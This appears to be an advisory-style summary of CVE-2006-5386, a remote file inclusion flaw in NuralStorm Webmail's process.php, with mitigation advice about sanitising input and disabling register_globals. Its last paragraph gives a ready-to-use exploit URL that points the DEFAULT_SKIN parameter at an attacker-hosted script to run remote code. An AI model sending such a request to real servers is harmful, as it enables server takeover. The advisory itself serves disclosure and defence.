CVE-2006-5386

An attacker sends a crafted HTTP GET request to `process.php` with the `DEFAULT_SKIN` parameter set to a URL pointing to a malicious PHP script. Because `register_globals` must be enabled, the attacker-supplied value is automatically assigned to the `$DEFAULT_SKIN` variable. When the script includes this variable (likely in an `include()` or `require()` call), PHP fetches and executes the remote file, giving the attacker arbitrary code execution on the server [ref_id=1].

The vulnerability exists in `process.php` of NuralStorm Webmail 0.98b and earlier. The `$DEFAULT_SKIN` parameter is used directly without sanitization, allowing inclusion of a remote file via a URL [ref_id=1].

No patch is provided in the bundle. The advisory recommends sanitizing the `$DEFAULT_SKIN` variable before use, and notes that disabling `register_globals` would also prevent the attack vector [ref_id=1]. Without a fix, administrators should disable `register_globals` in PHP configuration as a mitigation.

Send a request to the vulnerable application: `http://www.site.com/[path]/process.php?DEFAULT_SKIN=http://attacker.com/evil_script.txt` [ref_id=1]. The remote PHP code at the attacker-controlled URL will be executed on the target server.